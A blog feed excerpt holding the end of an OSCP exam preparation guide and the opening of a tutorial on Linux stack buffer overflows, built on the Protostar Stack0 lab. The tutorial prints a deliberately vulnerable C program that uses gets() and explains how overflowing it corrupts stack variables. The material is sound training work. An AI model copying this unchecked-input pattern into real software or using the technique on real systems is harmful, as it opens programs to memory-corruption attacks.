&lt;p&gt;HTB Boxes to Prepare for OSCP (Youtube Playlist): &lt;a href=&quot;https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&quot;&gt;https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ippsec Rocks: &lt;a href=&quot;https://ippsec.rocks/?#&quot;&gt;https://ippsec.rocks/?#&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;vulnhub&quot;&gt;&lt;a href=&quot;https://www.vulnhub.com/&quot;&gt;Vulnhub&lt;/a&gt;:&lt;/h3&gt;
&lt;p&gt;Just like Hackthebox, except you have to download the vulnerable machines and run them on your local system. You will need VMware or VirtualBox (I recommend VMware workstation) to run these vulnerable systems. Please make sure that you are running these vulnerable systems on an isolated network and not on a public network.&lt;br /&gt;
Thanks to g0tmi1k and his team for hosting this site and to the creators who submit these vulnerable machines. I have also created a list of vulnhub machines that I have found to be OSCP-Like as well. You can find them here and on NetSecFocus:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PEN_200/vulnhub.JPG&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I will continue to update this list and if you would like a copy for review you can certainly find it here: 
&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0&quot;&gt;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Rooting Vulnerable Machines is extremely important when you are preparing for PWK/OSCP because you can’t depend on theoretical knowledge to pass. Improving your hands-on skills will play a huge key role when you are tackling these machines.&lt;/p&gt;

&lt;h1 id=&quot;tips-to-participate-in-the-proctored-oscp-exam&quot;&gt;Tips to participate in the Proctored OSCP exam:&lt;/h1&gt;

&lt;p&gt;As of August 15th, 2018, all OSCP exams have a proctored exam. This means that a student will be monitored by an Offensive Security staff member through a screen sharing and webcam service. If you would like to learn more about this new proctoring process you can find it here: &lt;a href=&quot;https://www.offensive-security.com/offsec/proctoring/&quot;&gt;https://www.offensive-security.com/offsec/proctoring/&lt;/a&gt;
Before I took my exam, I had to go through a variety of things to make sure I was prepared to take my 1st attempt. Even with my preparation, I lost 30 mins of my actual exam time due to troubleshooting the applications for the proctor on my end. With that being said, here are my tips to help you guys prepare for the proctoring section when you are ready to take the exam:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Make sure your system is able to meet the software/hardware requirements that offensive security provides in order to run these services. You can find that information here: &lt;a href=&quot;https://support.offensive-security.com/proctoring-faq/&quot;&gt;https://support.offensive-security.com/proctoring-faq/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Test your webcam to make sure it works. you cannot use a spare laptop that has a webcam and connect the webcam session onto that system.&lt;/li&gt;
  &lt;li&gt;The Screen Sharing application needs to be running on your main system that you will be using to connect to your exam.&lt;/li&gt;
  &lt;li&gt;You can use multiple monitors for the exam. Keep in mind that the proctor must be able to see them and that they are connected to your system. The proctor will notify you about how many screens they see and you will need to confirm them with the number monitors you are using. If you use a system that has a monitor and it is not connected to the ScreenConnect application, then you will not be able to use that monitor for the exam.&lt;/li&gt;
  &lt;li&gt;Be prepared and log into your webcam and ScreenConnect sessions 30 mins before your exam.&lt;/li&gt;
  &lt;li&gt;Proctors cannot provide any assistance during the exam.&lt;/li&gt;
  &lt;li&gt;You can take breaks, a nap, or grab a cup of coffee during your exam. Just make sure you notify the proctor when you leave and when you return for your exam.&lt;/li&gt;
  &lt;li&gt;Students are not allowed to record their screens while interacting with any of the exam machines.&lt;/li&gt;
  &lt;li&gt;Also be dressed for your exam. I think that is pretty simple to understand why.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For any other questions you may have you can check out Offensive Security FAQ for Proctored Exams here: &lt;a href=&quot;https://www.offensive-security.com/faq/&quot;&gt;https://www.offensive-security.com/faq/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;other-resources&quot;&gt;Other Resources:&lt;/h1&gt;
&lt;p&gt;NetSecFocus Learning Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/12bT8APhWsL-P8mBtWCYu4MLftwG1cPmIL25AEBtXDno/edit#gid=937533738&quot;&gt;https://docs.google.com/spreadsheets/d/12bT8APhWsL-P8mBtWCYu4MLftwG1cPmIL25AEBtXDno/edit#gid=937533738&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Offsec Introduction Guide to the OSCP: &lt;a href=&quot;https://help.offensive-security.com/hc/en-us/articles/3600595359&quot;&gt;https://help.offensive-security.com/hc/en-us/articles/360059535932&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;PWK Learning Path: A very useful resource to help get started on what boxes you should go through in the PWK lab. Some of the boxes they provide also contain hints for the boxes as well:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://help.offensive-security.com/hc/en-us/articles/360050473812&quot;&gt;https://help.offensive-security.com/hc/en-us/articles/360050473812&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;books&quot;&gt;Books:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Kali Linux Revealed: &lt;a href=&quot;https://www.kali.org/download-kali-linux-revealed-book/&quot;&gt;https://www.kali.org/download-kali-linux-revealed-book/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Attacking Network Protocols: &lt;a href=&quot;https://nostarch.com/networkprotocols&quot;&gt;https://nostarch.com/networkprotocols&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Red Team Field Manual: &lt;a href=&quot;https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504&quot;&gt;https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Hash-Crack-Password-Cracking-Manual v3: &lt;a href=&quot;https://www.amazon.com/Hash-Crack-Password-Cracking-Manual/dp/1793458618&quot;&gt;https://www.amazon.com/Hash-Crack-Password-Cracking-Manual/dp/1793458618&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Operator Handbook: Red Team + OSINT + Blue Team Reference: &lt;a href=&quot;https://www.amazon.com/dp/B085RR67H5&quot;&gt;https://www.amazon.com/dp/B085RR67H5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The Hacker Playbook Series: &lt;a href=&quot;https://securepla.net/hacker-playbook/&quot;&gt;https://securepla.net/hacker-playbook/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The Web Application Hacker Handbook: &lt;a href=&quot;http://mdsec.net/wahh/&quot;&gt;http://mdsec.net/wahh/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Learn Windows PowerShell in a Month of Lunches 3rd Edition &lt;a href=&quot;https://www.amazon.com/Learn-Windows-PowerShell-Month-Lunches/dp/1617294160&quot;&gt;https://www.amazon.com/Learn-Windows-PowerShell-Month-Lunches/dp/1617294160&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Violent Python: &lt;a href=&quot;https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579&quot;&gt;https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Black Hat Python: &lt;a href=&quot;https://nostarch.com/blackhatpython&quot;&gt;https://nostarch.com/blackhatpython&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;courses-that-can-help-you-prepare-for-oscp&quot;&gt;Courses that can help you prepare for OSCP:&lt;/h4&gt;

&lt;p&gt;eLearnSecurity/INE:&lt;/p&gt;

&lt;p&gt;eLearnSecurity use to be a great place to learn more about pentesting with the courses they offered. Now that they are owned by INE you now have to buy training from there subscription based platform to learn from the material they offer to be able to obtain the certifications Elearnsecurity offers.&lt;/p&gt;

&lt;p&gt;INE Cybersecurity Training: &lt;a href=&quot;https://ine.com/pages/cybersecurity&quot;&gt;https://ine.com/pages/cybersecurity&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;eLearnSecurity Certs:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;EJPT: &lt;a href=&quot;https://elearnsecurity.com/product/ejpt-certification/&quot;&gt;https://elearnsecurity.com/product/ejpt-certification/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ECCPTv2: &lt;a href=&quot;https://elearnsecurity.com/product/ecpptv2-certification/&quot;&gt;https://elearnsecurity.com/product/ecpptv2-certification/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;TryHackMe:&lt;/p&gt;

&lt;p&gt;A platform to help people grow there skills and learn more about cybersecurity. They have a variety of different rooms you can choose from and they do a good job explaining fundamental concepts in some of these rooms. They also having learning paths that you can complete as well but you may have to pay for them or purchase a subscription to access them.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/&quot;&gt;https://tryhackme.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SANS:&lt;/p&gt;

&lt;p&gt;SANS provides a wide variety of information security courses. Each of their courses are taught by very smart instructors who have been in this field for a very long time. However, these courses can be expensive if you are unable to get someone to pay for them. You can also try to apply for the SANS workforce training as well to be able to take their courses at a discount. I have taken most of the SANS course and I feel that the following courses below really helped me get a better understanding of what Pentesting is like in the actual field. Here are the courses that I would recommend if you are looking to prepare for OSCP.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SANS 560: &lt;a href=&quot;https://www.sans.org/course/network-penetration-testing-ethical-hacking&quot;&gt;https://www.sans.org/course/network-penetration-testing-ethical-hacking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SANS 542: &lt;a href=&quot;https://www.sans.org/course/web-app-penetration-testing-ethical-hacking&quot;&gt;https://www.sans.org/course/web-app-penetration-testing-ethical-hacking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pentesterlabs: 
A lot of web app pentesting material in this course: 
&lt;a href=&quot;https://pentesterlab.com/&quot;&gt;https://pentesterlab.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pentester Academy: 
&lt;a href=&quot;https://www.pentesteracademy.com/topics&quot;&gt;https://www.pentesteracademy.com/topics&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Web Security Academy:
&lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;https://portswigger.net/web-security&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;other-oscp-guides&quot;&gt;Other OSCP guides:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html&quot;&gt;https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://411hall.github.io/OSCP-Preparation&quot;&gt;https://411hall.github.io/OSCP-Preparation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/sushant747/total-oscp-guide&quot;&gt;https://www.gitbook.com/book/sushant747/total-oscp-guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://0xc0ffee.io/blog/OSCP-Goldmine&quot;&gt;http://0xc0ffee.io/blog/OSCP-Goldmine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://h4ck.co/oscp-journey-exam-lab-prep-tips/&quot;&gt;https://h4ck.co/oscp-journey-exam-lab-prep-tips/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tulpa-security.com/2016/09/11/review-oscp-and-pwk/&quot;&gt;https://tulpa-security.com/2016/09/11/review-oscp-and-pwk/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/&quot;&gt;http://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ranakhalil101.medium.com/my-oscp-journey-a-review-fa779b4339d9&quot;&gt;https://ranakhalil101.medium.com/my-oscp-journey-a-review-fa779b4339d9&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/&quot;&gt;https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Links:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://practicalpentestlabs.com/&quot;&gt;https://practicalpentestlabs.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://immersivelabs.co.uk/&quot;&gt;https://immersivelabs.co.uk/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion:&lt;/h1&gt;
&lt;p&gt;Well then! It seems you have made it to the end of this journey (well not your OSCP journey if you decide to pursue it!). If you read this entire guide, I certainly give you props for doing so. If you read only parts of it, then I still give you props because the main thing that is important to me is that you learned something from it!&lt;/p&gt;

&lt;p&gt;I hope you are able to use my guide in your OSCP journey and are able to learn some new things, just like I did when I started mine. If this guide was able to help you let me know I want your feedback for sure. I thanked a lot of people for helping me with my journey in this guide and I want to thank them again for their time and contributions for helping me learn and grow in the cyber-security field.&lt;/p&gt;

&lt;p&gt;If anyone has any questions about this guide or feedback please let me know as you can reach out to me on twitter, discord, or on NetSecFocus!&lt;/p&gt;

&lt;h2 id=&quot;tj-null&quot;&gt;TJ Null&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Twitter: &lt;a href=&quot;https://twitter.com/TJ_Null&quot;&gt;https://twitter.com/TJ_Null&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Github: &lt;a href=&quot;https://github.com/tjnull&quot;&gt;https://github.com/tjnull&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Netsec Focus: Tjnull&lt;/li&gt;
  &lt;li&gt;Discord: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tjnull#1788&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;P.S: Considering this journey as an extra mile, I am going to have to insist at this point for you to…… Try Harder! -Offensive Security&lt;/p&gt;
</description>
            <pubDate>Thu, 06 May 2021 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Reverse Engineering and Exploit Development Made Easy - Chapter 3</title>
            <link>/exploit/dev/2020/02/15/Reverse-Engineering-and-Exploit-Dev-Chapter-3.html</link>
            <guid isPermaLink="true">/exploit/dev/2020/02/15/Reverse-Engineering-and-Exploit-Dev-Chapter-3.html</guid>
            <description>&lt;h3 id=&quot;reverse-engineering-and-exploit-development-made-easy---chapter-3-linux-bofs&quot;&gt;Reverse Engineering and Exploit Development Made Easy - Chapter 3: Linux BOFs&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./im_back&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hello again fellow geeks! I’m back, bringing you another exciting chapter! I know I know, you’ve missed me. But I’m here to stay now!&lt;/p&gt;

&lt;p&gt;In this chapter, we will dive into the basics of Linux exploitation. You will see that in many ways, Linux exploitation is quite similar to Windows.&lt;/p&gt;

&lt;p&gt;Most concepts learned in the past will be applied here, so I suggest that you go through the previous chapters before going through this one.&lt;/p&gt;

&lt;p&gt;With that being said, let us dive right in!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./intro&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To understand the basics of Linux exploitation, we will be looking at the first form: Stack buffer overflows.&lt;/p&gt;

&lt;p&gt;We will start by learning memory corruption, which will give us a good understanding of how memory is treated in Linux, and from there we will gradually make our way into developing a complete exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# configure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Protostar’s exploit exercises VM ( https://exploit-exercises.lains.space/protostar/ ) is a great resource that will help us on our journey, along with OverTheWire’s Narnia wargame.&lt;/p&gt;

&lt;p&gt;So grab an iso from Protostar, and set it up in your desired virtual machine manager. I will be using VirtualBox as always. We will use ssh to log into this VM ( use hostname –I to get the local IP of the VM).&lt;/p&gt;

&lt;p&gt;The default credentials for Protostar are user:user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# setup&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Linux, the choice of debuggers isn’t as varied as Windows. Throughout our journey, we will be mainly using GDB (GNU Debugger), the default debugger that comes with Linux. You can alternatively use EDB.&lt;/p&gt;

&lt;p&gt;As we progress, we will see how we can pimp GDB up to do all sorts of cool tricks, and develop exploits with ease (spoiler alert: gdb-peda 😉).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./code_analysis&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To see the source code of the challenge, we have to navigate to the exploit exercises website, where the source code for all challenges is given. We will be starting with the Stack0 challenge, that focuses on memory corruption. Take a look at the code below:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;modified&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;gets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;you have changed the &apos;modified&apos; variable&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Try again?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The includes are just importing usual C libraries. Stdlib.h is a general-purpose standard library that helps with memory allocation, process control, etc.&lt;/p&gt;

&lt;p&gt;Unistd.h is a header file that provides access to the POSIX OS API. Similar to the standard library.&lt;/p&gt;

&lt;p&gt;Stdio.h is the standard input/output header file that manages I/O operations.&lt;/p&gt;

&lt;p&gt;The main function initializes two variables: buffer, that takes 64 characters, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt;, which is a volatile integer. This means that the variable modified can take multiple values. The main function also takes one user-supplied argument.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;modified&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; is initially set to 0, and the line below that is responsible for reading the characters in buffer from our input, and printing it on to the screen. The function that does this is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gets()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &lt;span class=&quot;n&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 &lt;span class=&quot;n&quot;&gt;gets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now here is where our vulnerability lies, in the gets() function. The problem with gets() is, if we enter a string that is longer than 64 bytes, gets() does not do any check on the size whatsoever, so it will keep reading our input from the stack until it finds a new line. Which means, our string will OVERFLOW outside the given buffer of 64 bytes, and start to overwrite other variables, until our string ends.&lt;/p&gt;

&lt;p&gt;In this case, we need to change the value of the modified variable, that is located somewhere on the stack. The if else conditions tell us that we succeed once we change the value of the modified variable from 0 to anything (I.e. not equal to (!=) 0).&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;modified&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;you have changed the &apos;modified&apos; variable&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Try again?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alrighty then! Now that we have analysed the code completely, let us start debugging the binary in order to understand where our variables lie on the stack, and how our input affects it. I will be using GDB to debug the binary.&lt;/p&gt;

&lt;p&gt;So first, fire up the Protostar VM, and use the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname -I&lt;/code&gt; to display the local IP address of the VM. I suggest that you use a Bridged Adapter while setting up the VM, and set the adapter to the current interface that’s being used. That way, the VM will be on your network and you can easily ssh into it. Binaries are located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/protostar/bin/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./debugging&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To open the binary in GDB, we will use the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ gdb stack0&lt;/code&gt;, followed by the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(gdb) disas main&lt;/code&gt;, which will disassemble the main function for us. What you see is a representation of the binary in assembly.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x080483f4 &amp;lt;main+0&amp;gt;:	push   %ebp
0x080483f5 &amp;lt;main+1&amp;gt;:	mov    %esp,%ebp
0x080483f7 &amp;lt;main+3&amp;gt;:	and    $0xfffffff0,%esp
0x080483fa &amp;lt;main+6&amp;gt;:	sub    $0x60,%esp
0x080483fd &amp;lt;main+9&amp;gt;:	movl   $0x0,0x5c(%esp)
0x08048405 &amp;lt;main+17&amp;gt;:	lea    0x1c(%esp),%eax
0x08048409 &amp;lt;main+21&amp;gt;:	mov    %eax,(%esp)
